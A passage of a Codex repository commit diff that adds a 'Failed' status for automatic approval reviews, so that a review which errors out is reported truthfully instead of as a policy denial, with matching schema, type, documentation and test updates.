mirror of
https://github.com/openai/codex.git
synced 2026-10-31 19:28:49 +00:00
Add truthful auto-review failure status
This commit is contained in:
@@ -178,6 +178,7 @@ pub(crate) struct GuardianReviewEventRequest {
|
||||
pub enum GuardianReviewDecision {
|
||||
Approved,
|
||||
Denied,
|
||||
Failed,
|
||||
Aborted,
|
||||
}
|
||||
|
||||
@@ -440,6 +441,7 @@ pub(crate) enum FinalApprovalOutcome {
|
||||
PolicyForbidden,
|
||||
GuardianApproved,
|
||||
GuardianDenied,
|
||||
GuardianFailed,
|
||||
GuardianAborted,
|
||||
UserApproved,
|
||||
UserApprovedForSession,
|
||||
@@ -532,6 +534,7 @@ pub(crate) enum ReviewTrigger {
|
||||
pub(crate) enum ReviewStatus {
|
||||
Approved,
|
||||
Denied,
|
||||
Failed,
|
||||
Aborted,
|
||||
TimedOut,
|
||||
}
|
||||
|
||||
@@ -2069,6 +2069,9 @@ fn guardian_review_result(
|
||||
GuardianApprovalReviewStatus::TimedOut => {
|
||||
Some((ReviewStatus::TimedOut, ReviewResolution::None))
|
||||
}
|
||||
GuardianApprovalReviewStatus::Failed => {
|
||||
Some((ReviewStatus::Failed, ReviewResolution::None))
|
||||
}
|
||||
GuardianApprovalReviewStatus::Aborted => {
|
||||
Some((ReviewStatus::Aborted, ReviewResolution::None))
|
||||
}
|
||||
@@ -2171,6 +2174,7 @@ fn final_approval_outcome(
|
||||
match (reviewer, status, resolution) {
|
||||
(Reviewer::Guardian, ReviewStatus::Approved, _) => FinalApprovalOutcome::GuardianApproved,
|
||||
(Reviewer::Guardian, ReviewStatus::Denied, _) => FinalApprovalOutcome::GuardianDenied,
|
||||
(Reviewer::Guardian, ReviewStatus::Failed, _) => FinalApprovalOutcome::GuardianFailed,
|
||||
(Reviewer::Guardian, _, _) => FinalApprovalOutcome::GuardianAborted,
|
||||
(Reviewer::User, ReviewStatus::Approved, ReviewResolution::SessionApproval) => {
|
||||
FinalApprovalOutcome::UserApprovedForSession
|
||||
@@ -2649,5 +2653,17 @@ mod tests {
|
||||
guardian_review_result(GuardianApprovalReviewStatus::TimedOut),
|
||||
Some((ReviewStatus::TimedOut, ReviewResolution::None))
|
||||
));
|
||||
assert!(matches!(
|
||||
guardian_review_result(GuardianApprovalReviewStatus::Failed),
|
||||
Some((ReviewStatus::Failed, ReviewResolution::None))
|
||||
));
|
||||
assert!(matches!(
|
||||
final_approval_outcome(
|
||||
Reviewer::Guardian,
|
||||
ReviewStatus::Failed,
|
||||
ReviewResolution::None
|
||||
),
|
||||
FinalApprovalOutcome::GuardianFailed
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -101,6 +101,13 @@
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"description": "Automatic approval review failed before reaching a decision.",
|
||||
"enum": [
|
||||
"failed"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"description": "User has denied this command and the agent should not do anything until the user's next command.",
|
||||
"enum": [
|
||||
|
||||
@@ -101,6 +101,13 @@
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"description": "Automatic approval review failed before reaching a decision.",
|
||||
"enum": [
|
||||
"failed"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"description": "User has denied this command and the agent should not do anything until the user's next command.",
|
||||
"enum": [
|
||||
|
||||
@@ -1765,6 +1765,7 @@
|
||||
"approved",
|
||||
"denied",
|
||||
"timedOut",
|
||||
"failed",
|
||||
"aborted"
|
||||
],
|
||||
"type": "string"
|
||||
|
||||
+8
@@ -3967,6 +3967,13 @@
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"description": "Automatic approval review failed before reaching a decision.",
|
||||
"enum": [
|
||||
"failed"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"description": "User has denied this command and the agent should not do anything until the user's next command.",
|
||||
"enum": [
|
||||
@@ -10004,6 +10011,7 @@
|
||||
"approved",
|
||||
"denied",
|
||||
"timedOut",
|
||||
"failed",
|
||||
"aborted"
|
||||
],
|
||||
"type": "string"
|
||||
|
||||
+1
@@ -6457,6 +6457,7 @@
|
||||
"approved",
|
||||
"denied",
|
||||
"timedOut",
|
||||
"failed",
|
||||
"aborted"
|
||||
],
|
||||
"type": "string"
|
||||
|
||||
Generated
+1
@@ -502,6 +502,7 @@
|
||||
"approved",
|
||||
"denied",
|
||||
"timedOut",
|
||||
"failed",
|
||||
"aborted"
|
||||
],
|
||||
"type": "string"
|
||||
|
||||
Generated
+1
@@ -495,6 +495,7 @@
|
||||
"approved",
|
||||
"denied",
|
||||
"timedOut",
|
||||
"failed",
|
||||
"aborted"
|
||||
],
|
||||
"type": "string"
|
||||
|
||||
@@ -7,4 +7,4 @@ import type { NetworkPolicyAmendment } from "./NetworkPolicyAmendment";
|
||||
/**
|
||||
* User's decision in response to an ExecApprovalRequest.
|
||||
*/
|
||||
export type ReviewDecision = "approved" | { "approved_execpolicy_amendment": { proposed_execpolicy_amendment: ExecPolicyAmendment, } } | "approved_for_session" | { "network_policy_amendment": { network_policy_amendment: NetworkPolicyAmendment, } } | "denied" | "timed_out" | "abort";
|
||||
export type ReviewDecision = "approved" | { "approved_execpolicy_amendment": { proposed_execpolicy_amendment: ExecPolicyAmendment, } } | "approved_for_session" | { "network_policy_amendment": { network_policy_amendment: NetworkPolicyAmendment, } } | "denied" | "timed_out" | "failed" | "abort";
|
||||
|
||||
+1
-1
@@ -5,4 +5,4 @@
|
||||
/**
|
||||
* [UNSTABLE] Lifecycle state for an approval auto-review.
|
||||
*/
|
||||
export type GuardianApprovalReviewStatus = "inProgress" | "approved" | "denied" | "timedOut" | "aborted";
|
||||
export type GuardianApprovalReviewStatus = "inProgress" | "approved" | "denied" | "timedOut" | "failed" | "aborted";
|
||||
|
||||
@@ -227,6 +227,9 @@ pub fn guardian_auto_approval_review_notification(
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::TimedOut => {
|
||||
GuardianApprovalReviewStatus::TimedOut
|
||||
}
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::Failed => {
|
||||
GuardianApprovalReviewStatus::Failed
|
||||
}
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::Aborted => {
|
||||
GuardianApprovalReviewStatus::Aborted
|
||||
}
|
||||
@@ -253,6 +256,7 @@ pub fn guardian_auto_approval_review_notification(
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::Approved
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::Denied
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::TimedOut
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::Failed
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::Aborted => {
|
||||
ServerNotification::ItemGuardianApprovalReviewCompleted(
|
||||
ItemGuardianApprovalReviewCompletedNotification {
|
||||
|
||||
@@ -432,7 +432,9 @@ impl ThreadHistoryBuilder {
|
||||
GuardianAssessmentStatus::Denied | GuardianAssessmentStatus::Aborted => {
|
||||
CommandExecutionStatus::Declined
|
||||
}
|
||||
GuardianAssessmentStatus::TimedOut => CommandExecutionStatus::Failed,
|
||||
GuardianAssessmentStatus::TimedOut | GuardianAssessmentStatus::Failed => {
|
||||
CommandExecutionStatus::Failed
|
||||
}
|
||||
GuardianAssessmentStatus::Approved => return,
|
||||
};
|
||||
let Some(item) = build_item_from_guardian_event(payload, status) else {
|
||||
@@ -2382,6 +2384,75 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reconstructs_failed_guardian_command_item() {
|
||||
let events = vec![
|
||||
EventMsg::TurnStarted(TurnStartedEvent {
|
||||
turn_id: "turn-1".into(),
|
||||
trace_id: None,
|
||||
started_at: None,
|
||||
model_context_window: None,
|
||||
collaboration_mode_kind: Default::default(),
|
||||
}),
|
||||
EventMsg::UserMessage(UserMessageEvent {
|
||||
client_id: None,
|
||||
message: "review this command".into(),
|
||||
images: None,
|
||||
text_elements: Vec::new(),
|
||||
local_images: Vec::new(),
|
||||
..Default::default()
|
||||
}),
|
||||
EventMsg::GuardianAssessment(GuardianAssessmentEvent {
|
||||
id: "review-guardian-exec".into(),
|
||||
target_item_id: Some("guardian-exec".into()),
|
||||
turn_id: "turn-1".into(),
|
||||
started_at_ms: 1_000,
|
||||
completed_at_ms: Some(1_042),
|
||||
status: GuardianAssessmentStatus::Failed,
|
||||
risk_level: None,
|
||||
user_authorization: None,
|
||||
rationale: Some(
|
||||
"Automatic approval review failed before reaching a decision.".into(),
|
||||
),
|
||||
decision_source: Some(
|
||||
codex_protocol::protocol::GuardianAssessmentDecisionSource::Agent,
|
||||
),
|
||||
action: serde_json::from_value(serde_json::json!({
|
||||
"type": "command",
|
||||
"source": "shell",
|
||||
"command": "git push",
|
||||
"cwd": test_path_buf("/tmp"),
|
||||
}))
|
||||
.expect("guardian action"),
|
||||
}),
|
||||
];
|
||||
|
||||
let items = events
|
||||
.into_iter()
|
||||
.map(RolloutItem::EventMsg)
|
||||
.collect::<Vec<_>>();
|
||||
let turns = build_turns_from_rollout_items(&items);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert_eq!(turns[0].items.len(), 2);
|
||||
assert_eq!(
|
||||
turns[0].items[1],
|
||||
ThreadItem::CommandExecution {
|
||||
id: "guardian-exec".into(),
|
||||
command: "git push".into(),
|
||||
cwd: test_path_buf("/tmp").abs(),
|
||||
process_id: None,
|
||||
source: CommandExecutionSource::Agent,
|
||||
status: CommandExecutionStatus::Failed,
|
||||
command_actions: vec![CommandAction::Unknown {
|
||||
command: "git push".into(),
|
||||
}],
|
||||
aggregated_output: None,
|
||||
exit_code: None,
|
||||
duration_ms: None,
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reconstructs_in_progress_guardian_execve_item() {
|
||||
let events = vec![
|
||||
|
||||
@@ -81,6 +81,7 @@ impl From<CoreReviewDecision> for CommandExecutionApprovalDecision {
|
||||
CoreReviewDecision::Abort => Self::Cancel,
|
||||
CoreReviewDecision::Denied => Self::Decline,
|
||||
CoreReviewDecision::TimedOut => Self::Decline,
|
||||
CoreReviewDecision::Failed => Self::Decline,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -406,6 +407,7 @@ pub enum GuardianApprovalReviewStatus {
|
||||
Approved,
|
||||
Denied,
|
||||
TimedOut,
|
||||
Failed,
|
||||
Aborted,
|
||||
}
|
||||
|
||||
|
||||
@@ -2230,6 +2230,28 @@ fn automatic_approval_review_deserializes_aborted_status() {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn automatic_approval_review_deserializes_failed_status() {
|
||||
let review: GuardianApprovalReview = serde_json::from_value(json!({
|
||||
"status": "failed",
|
||||
"riskLevel": null,
|
||||
"userAuthorization": null,
|
||||
"rationale": "Automatic approval review failed before reaching a decision."
|
||||
}))
|
||||
.expect("failed automatic review should deserialize");
|
||||
assert_eq!(
|
||||
review,
|
||||
GuardianApprovalReview {
|
||||
status: GuardianApprovalReviewStatus::Failed,
|
||||
risk_level: None,
|
||||
user_authorization: None,
|
||||
rationale: Some(
|
||||
"Automatic approval review failed before reaching a decision.".to_string()
|
||||
),
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn guardian_approval_review_action_round_trips_command_shape() {
|
||||
let value = json!({
|
||||
|
||||
@@ -1273,7 +1273,7 @@ All items emit shared lifecycle events:
|
||||
- `item/started` — emits the full `item` when a new unit of work begins so the UI can render it immediately; the `item.id` in this payload matches the `itemId` used by deltas.
|
||||
- `item/completed` — sends the final `item` once that work itself finishes (for example, after a tool call or message completes); treat this as the authoritative execution/result state.
|
||||
- `item/autoApprovalReview/started` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review begins. This shape is expected to change soon.
|
||||
- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. This shape is expected to change soon.
|
||||
- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. The review status distinguishes policy decisions (`approved`, `denied`) from reviews that timed out, failed before producing a decision, or were aborted. This shape is expected to change soon.
|
||||
|
||||
`review` is [UNSTABLE] and currently has `{status, riskLevel?, userAuthorization?, rationale?}`, where `status` is one of `inProgress`, `approved`, `denied`, or `aborted`. `riskLevel` is one of `"low"`, `"medium"`, `"high"`, or `"critical"` when present. `userAuthorization` is one of `"unknown"`, `"low"`, `"medium"`, or `"high"` when present. `action` is a tagged union with `type: "command" | "execve" | "applyPatch" | "networkAccess" | "mcpToolCall"`. Command-like actions include a `source` discriminator (`"shell"` or `"unifiedExec"`). These notifications are separate from the target item's own `item/completed` lifecycle and are intentionally temporary while the auto-review app protocol is still being designed.
|
||||
|
||||
|
||||
@@ -292,7 +292,8 @@ pub(crate) async fn apply_bespoke_event_handling(
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::Aborted => {
|
||||
Some(CommandExecutionStatus::Declined)
|
||||
}
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::TimedOut => {
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::TimedOut
|
||||
| codex_protocol::protocol::GuardianAssessmentStatus::Failed => {
|
||||
Some(CommandExecutionStatus::Failed)
|
||||
}
|
||||
codex_protocol::protocol::GuardianAssessmentStatus::InProgress
|
||||
@@ -2279,6 +2280,11 @@ mod tests {
|
||||
GuardianAssessmentStatus::TimedOut => {
|
||||
(None, None, Some("review timed out".to_string()))
|
||||
}
|
||||
GuardianAssessmentStatus::Failed => (
|
||||
None,
|
||||
None,
|
||||
Some("review failed before reaching a decision".to_string()),
|
||||
),
|
||||
GuardianAssessmentStatus::Aborted => (None, None, None),
|
||||
};
|
||||
GuardianAssessmentEvent {
|
||||
@@ -2436,6 +2442,55 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn guardian_assessment_failed_emits_completed_review_payload() {
|
||||
let conversation_id = ThreadId::new();
|
||||
let action = codex_protocol::protocol::GuardianAssessmentAction::Command {
|
||||
source: codex_protocol::protocol::GuardianCommandSource::Shell,
|
||||
command: "git push".to_string(),
|
||||
cwd: test_path_buf("/tmp").abs(),
|
||||
};
|
||||
let notification = guardian_auto_approval_review_notification(
|
||||
&conversation_id,
|
||||
"turn-from-event",
|
||||
&GuardianAssessmentEvent {
|
||||
id: "review-failed".to_string(),
|
||||
target_item_id: Some("item-failed".to_string()),
|
||||
turn_id: "turn-from-assessment".to_string(),
|
||||
started_at_ms: 1_000,
|
||||
completed_at_ms: Some(1_042),
|
||||
status: codex_protocol::protocol::GuardianAssessmentStatus::Failed,
|
||||
risk_level: None,
|
||||
user_authorization: None,
|
||||
rationale: Some(
|
||||
"Automatic approval review failed before reaching a decision.".to_string(),
|
||||
),
|
||||
decision_source: Some(
|
||||
codex_protocol::protocol::GuardianAssessmentDecisionSource::Agent,
|
||||
),
|
||||
action: action.clone(),
|
||||
},
|
||||
);
|
||||
|
||||
match notification {
|
||||
ServerNotification::ItemGuardianApprovalReviewCompleted(payload) => {
|
||||
assert_eq!(payload.thread_id, conversation_id.to_string());
|
||||
assert_eq!(payload.turn_id, "turn-from-assessment");
|
||||
assert_eq!(payload.review_id, "review-failed");
|
||||
assert_eq!(payload.target_item_id.as_deref(), Some("item-failed"));
|
||||
assert_eq!(payload.review.status, GuardianApprovalReviewStatus::Failed);
|
||||
assert_eq!(payload.review.risk_level, None);
|
||||
assert_eq!(payload.review.user_authorization, None);
|
||||
assert_eq!(
|
||||
payload.review.rationale.as_deref(),
|
||||
Some("Automatic approval review failed before reaching a decision.")
|
||||
);
|
||||
assert_eq!(payload.action, action.into());
|
||||
}
|
||||
other => panic!("unexpected notification: {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn guardian_assessment_aborted_emits_completed_review_payload() {
|
||||
let conversation_id = ThreadId::new();
|
||||
|
||||
@@ -732,9 +732,10 @@ async fn maybe_auto_review_mcp_request_user_input(
|
||||
ReviewDecision::Approved
|
||||
| ReviewDecision::ApprovedExecpolicyAmendment { .. }
|
||||
| ReviewDecision::NetworkPolicyAmendment { .. } => MCP_TOOL_APPROVAL_ACCEPT.to_string(),
|
||||
ReviewDecision::Denied | ReviewDecision::TimedOut | ReviewDecision::Abort => {
|
||||
MCP_TOOL_APPROVAL_DECLINE_SYNTHETIC.to_string()
|
||||
}
|
||||
ReviewDecision::Denied
|
||||
| ReviewDecision::TimedOut
|
||||
| ReviewDecision::Failed
|
||||
| ReviewDecision::Abort => MCP_TOOL_APPROVAL_DECLINE_SYNTHETIC.to_string(),
|
||||
};
|
||||
Some(RequestUserInputResponse {
|
||||
answers: HashMap::from([(
|
||||
|
||||
@@ -138,6 +138,7 @@ fn decision_tag(decision: GuardianReviewDecision) -> &'static str {
|
||||
match decision {
|
||||
GuardianReviewDecision::Approved => "approved",
|
||||
GuardianReviewDecision::Denied => "denied",
|
||||
GuardianReviewDecision::Failed => "failed",
|
||||
GuardianReviewDecision::Aborted => "aborted",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -29,6 +29,7 @@ pub(crate) use approval_request::GuardianMcpAnnotations;
|
||||
pub(crate) use approval_request::GuardianNetworkAccessTrigger;
|
||||
#[cfg(test)]
|
||||
pub(crate) use approval_request::guardian_approval_request_to_json;
|
||||
pub(crate) use review::guardian_failure_message;
|
||||
pub(crate) use review::guardian_rejection_message;
|
||||
pub(crate) use review::guardian_timeout_message;
|
||||
pub(crate) use review::is_guardian_reviewer_source;
|
||||
|
||||
@@ -58,6 +58,13 @@ const GUARDIAN_TIMEOUT_INSTRUCTIONS: &str = concat!(
|
||||
"You may retry once, or ask the user for guidance or explicit approval.",
|
||||
);
|
||||
|
||||
const GUARDIAN_FAILURE_INSTRUCTIONS: &str = concat!(
|
||||
"The automatic permission approval review failed before reaching a policy decision. ",
|
||||
"The action was not approved and was not executed. ",
|
||||
"Do not interpret this failure as evidence that the action is unsafe or was denied by policy. ",
|
||||
"Ask the user for guidance or explicit approval.",
|
||||
);
|
||||
|
||||
pub(crate) fn new_guardian_review_id() -> String {
|
||||
uuid::Uuid::new_v4().to_string()
|
||||
}
|
||||
@@ -87,6 +94,10 @@ pub(crate) fn guardian_timeout_message() -> String {
|
||||
GUARDIAN_TIMEOUT_INSTRUCTIONS.to_string()
|
||||
}
|
||||
|
||||
pub(crate) fn guardian_failure_message() -> String {
|
||||
GUARDIAN_FAILURE_INSTRUCTIONS.to_string()
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
pub(super) enum GuardianReviewOutcome {
|
||||
Completed(GuardianAssessment),
|
||||
@@ -470,29 +481,50 @@ async fn run_guardian_review(
|
||||
"guardian review failed"
|
||||
}
|
||||
};
|
||||
let rationale = format!("Automatic approval review failed: {message}");
|
||||
let rationale = format!(
|
||||
"Automatic approval review failed before reaching a decision: {message}"
|
||||
);
|
||||
track_guardian_review(
|
||||
session.as_ref(),
|
||||
&review_tracking,
|
||||
approval_request_source,
|
||||
&reviewed_action,
|
||||
GuardianReviewAnalyticsResult {
|
||||
decision: GuardianReviewDecision::Denied,
|
||||
decision: GuardianReviewDecision::Failed,
|
||||
terminal_status: GuardianReviewTerminalStatus::FailedClosed,
|
||||
failure_reason: Some(error.failure_reason()),
|
||||
..analytics_result
|
||||
},
|
||||
completed_at_ms.try_into().unwrap_or_default(),
|
||||
);
|
||||
(
|
||||
GuardianAssessment {
|
||||
risk_level: GuardianRiskLevel::High,
|
||||
user_authorization: GuardianUserAuthorization::Unknown,
|
||||
outcome: GuardianAssessmentOutcome::Deny,
|
||||
rationale,
|
||||
},
|
||||
false,
|
||||
)
|
||||
session
|
||||
.send_event(
|
||||
turn.as_ref(),
|
||||
EventMsg::GuardianWarning(WarningEvent {
|
||||
message: rationale.clone(),
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
session
|
||||
.send_event(
|
||||
turn.as_ref(),
|
||||
EventMsg::GuardianAssessment(GuardianAssessmentEvent {
|
||||
id: review_id,
|
||||
target_item_id,
|
||||
turn_id: assessment_turn_id.clone(),
|
||||
started_at_ms,
|
||||
completed_at_ms: Some(completed_at_ms),
|
||||
status: GuardianAssessmentStatus::Failed,
|
||||
risk_level: None,
|
||||
user_authorization: None,
|
||||
rationale: Some(rationale),
|
||||
decision_source: Some(GuardianAssessmentDecisionSource::Agent),
|
||||
action: terminal_action,
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
record_guardian_non_denial(&session, &assessment_turn_id).await;
|
||||
return ReviewDecision::Failed;
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
@@ -1972,7 +1972,7 @@ async fn guardian_reused_trunk_ignores_stale_prior_turn_completion() -> anyhow::
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() -> anyhow::Result<()> {
|
||||
async fn guardian_review_surfaces_responses_api_errors_as_failed() -> anyhow::Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
@@ -2029,17 +2029,17 @@ async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() ->
|
||||
)
|
||||
.await;
|
||||
|
||||
assert_eq!(decision, ReviewDecision::Denied);
|
||||
assert_eq!(decision, ReviewDecision::Failed);
|
||||
|
||||
let mut warnings = Vec::new();
|
||||
let mut denial_rationales = Vec::new();
|
||||
let mut failed_assessments = Vec::new();
|
||||
while let Ok(event) = rx.try_recv() {
|
||||
match event.msg {
|
||||
EventMsg::GuardianWarning(event) => warnings.push(event.message),
|
||||
EventMsg::GuardianAssessment(event)
|
||||
if event.status == GuardianAssessmentStatus::Denied =>
|
||||
if event.status == GuardianAssessmentStatus::Failed =>
|
||||
{
|
||||
denial_rationales.push(event.rationale)
|
||||
failed_assessments.push(event)
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
@@ -2052,29 +2052,133 @@ async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() ->
|
||||
"warning should include the underlying responses api error"
|
||||
);
|
||||
assert!(
|
||||
denial_rationales
|
||||
failed_assessments
|
||||
.iter()
|
||||
.flatten()
|
||||
.filter_map(|event| event.rationale.as_deref())
|
||||
.any(|message| message.contains(error_message)),
|
||||
"denial rationale should include the underlying responses api error"
|
||||
"failure rationale should include the underlying responses api error"
|
||||
);
|
||||
assert!(
|
||||
denial_rationales.iter().flatten().all(|message| {
|
||||
!message.contains("guardian review completed without an assessment payload")
|
||||
failed_assessments.iter().all(|event| {
|
||||
event.risk_level.is_none()
|
||||
&& event.user_authorization.is_none()
|
||||
&& event.rationale.as_deref().is_some_and(|message| {
|
||||
!message.contains("guardian review completed without an assessment payload")
|
||||
})
|
||||
}),
|
||||
"denial rationale should not fall back to the generic missing payload error"
|
||||
"failure should not fabricate risk metadata or use the generic missing payload error"
|
||||
);
|
||||
{
|
||||
let rationales = session.services.guardian_rejections.lock().await;
|
||||
assert!(rationales.contains_key("review-shell-guardian-error"));
|
||||
assert!(!rationales.contains_key("review-shell-guardian-error"));
|
||||
assert!(!rationales.contains_key("shell-guardian-error"));
|
||||
}
|
||||
let rejection_message =
|
||||
guardian_rejection_message(session.as_ref(), "review-shell-guardian-error").await;
|
||||
assert!(
|
||||
rejection_message.contains("Reason: Automatic approval review failed:")
|
||||
&& rejection_message.contains(error_message),
|
||||
"rejection message should include guardian rationale: {rejection_message}"
|
||||
guardian_failure_message().contains("failed before reaching a policy decision")
|
||||
&& !guardian_failure_message().contains("unacceptable risk"),
|
||||
"failure message should clearly distinguish review failure from policy denial"
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
async fn guardian_review_surfaces_invalid_assessment_as_failed() -> anyhow::Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let request_log = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_response_created("resp-guardian"),
|
||||
ev_assistant_message("msg-guardian", "not a guardian assessment"),
|
||||
ev_completed("resp-guardian"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
let (session, turn) = guardian_test_session_and_turn(&server).await;
|
||||
seed_guardian_parent_history(&session, &turn).await;
|
||||
|
||||
let decision = review_approval_request(
|
||||
&session,
|
||||
&turn,
|
||||
"review-shell-guardian-parse-error".to_string(),
|
||||
GuardianApprovalRequest::Shell {
|
||||
id: "shell-guardian-parse-error".to_string(),
|
||||
command: vec!["git".to_string(), "push".to_string()],
|
||||
cwd: test_path_buf("/repo/codex-rs/core").abs(),
|
||||
sandbox_permissions: crate::sandboxing::SandboxPermissions::UseDefault,
|
||||
additional_permissions: None,
|
||||
justification: Some("Need to push the reviewed docs fix.".to_string()),
|
||||
},
|
||||
/*retry_reason*/ None,
|
||||
)
|
||||
.await;
|
||||
|
||||
assert_eq!(decision, ReviewDecision::Failed);
|
||||
assert_eq!(request_log.requests().len(), 1);
|
||||
assert!(
|
||||
!session
|
||||
.services
|
||||
.guardian_rejections
|
||||
.lock()
|
||||
.await
|
||||
.contains_key("review-shell-guardian-parse-error")
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
async fn guardian_review_preserves_genuine_denial() -> anyhow::Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let request_log = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_response_created("resp-guardian"),
|
||||
ev_assistant_message(
|
||||
"msg-guardian",
|
||||
r#"{"outcome":"deny","risk_level":"high","user_authorization":"low","rationale":"The requested push is not justified."}"#,
|
||||
),
|
||||
ev_completed("resp-guardian"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
let (session, turn) = guardian_test_session_and_turn(&server).await;
|
||||
seed_guardian_parent_history(&session, &turn).await;
|
||||
|
||||
let decision = review_approval_request(
|
||||
&session,
|
||||
&turn,
|
||||
"review-shell-guardian-denied".to_string(),
|
||||
GuardianApprovalRequest::Shell {
|
||||
id: "shell-guardian-denied".to_string(),
|
||||
command: vec!["git".to_string(), "push".to_string()],
|
||||
cwd: test_path_buf("/repo/codex-rs/core").abs(),
|
||||
sandbox_permissions: crate::sandboxing::SandboxPermissions::UseDefault,
|
||||
additional_permissions: None,
|
||||
justification: Some("Need to push the reviewed docs fix.".to_string()),
|
||||
},
|
||||
/*retry_reason*/ None,
|
||||
)
|
||||
.await;
|
||||
|
||||
assert_eq!(decision, ReviewDecision::Denied);
|
||||
assert_eq!(request_log.requests().len(), 1);
|
||||
assert_eq!(
|
||||
session
|
||||
.services
|
||||
.guardian_rejections
|
||||
.lock()
|
||||
.await
|
||||
.get("review-shell-guardian-denied")
|
||||
.cloned(),
|
||||
Some(GuardianRejection {
|
||||
rationale: "The requested push is not justified.".to_string(),
|
||||
source: GuardianAssessmentDecisionSource::Agent,
|
||||
})
|
||||
);
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1410,6 +1410,9 @@ async fn mcp_tool_approval_decision_from_guardian(
|
||||
ReviewDecision::TimedOut => McpToolApprovalDecision::Decline {
|
||||
message: Some(guardian_timeout_message()),
|
||||
},
|
||||
ReviewDecision::Failed => McpToolApprovalDecision::Decline {
|
||||
message: Some(crate::guardian::guardian_failure_message()),
|
||||
},
|
||||
ReviewDecision::Abort => McpToolApprovalDecision::Decline { message: None },
|
||||
}
|
||||
}
|
||||
|
||||
@@ -668,6 +668,9 @@ fn mcp_elicitation_response_from_guardian_decision_parts(
|
||||
ReviewDecision::TimedOut => {
|
||||
mcp_elicitation_decline_with_message(crate::guardian::guardian_timeout_message())
|
||||
}
|
||||
ReviewDecision::Failed => {
|
||||
mcp_elicitation_decline_with_message(crate::guardian::guardian_failure_message())
|
||||
}
|
||||
ReviewDecision::Abort => ElicitationResponse {
|
||||
action: ElicitationAction::Cancel,
|
||||
content: None,
|
||||
|
||||
@@ -2213,13 +2213,14 @@ impl Session {
|
||||
strict_auto_review: false,
|
||||
},
|
||||
},
|
||||
ReviewDecision::Abort | ReviewDecision::Denied | ReviewDecision::TimedOut => {
|
||||
RequestPermissionsResponse {
|
||||
permissions: RequestPermissionProfile::default(),
|
||||
scope: PermissionGrantScope::Turn,
|
||||
strict_auto_review: false,
|
||||
}
|
||||
}
|
||||
ReviewDecision::Abort
|
||||
| ReviewDecision::Denied
|
||||
| ReviewDecision::TimedOut
|
||||
| ReviewDecision::Failed => RequestPermissionsResponse {
|
||||
permissions: RequestPermissionProfile::default(),
|
||||
scope: PermissionGrantScope::Turn,
|
||||
strict_auto_review: false,
|
||||
},
|
||||
};
|
||||
let response = Self::normalize_request_permissions_response(
|
||||
requested_permissions,
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use crate::guardian::GuardianApprovalRequest;
|
||||
use crate::guardian::GuardianNetworkAccessTrigger;
|
||||
use crate::guardian::guardian_failure_message;
|
||||
use crate::guardian::guardian_rejection_message;
|
||||
use crate::guardian::guardian_timeout_message;
|
||||
use crate::guardian::new_guardian_review_id;
|
||||
@@ -155,6 +156,7 @@ enum PendingApprovalDecision {
|
||||
enum NetworkApprovalOutcome {
|
||||
DeniedByUser,
|
||||
DeniedByPolicy(String),
|
||||
ReviewFailed(String),
|
||||
}
|
||||
|
||||
fn network_approval_outcome_to_result(
|
||||
@@ -164,7 +166,10 @@ fn network_approval_outcome_to_result(
|
||||
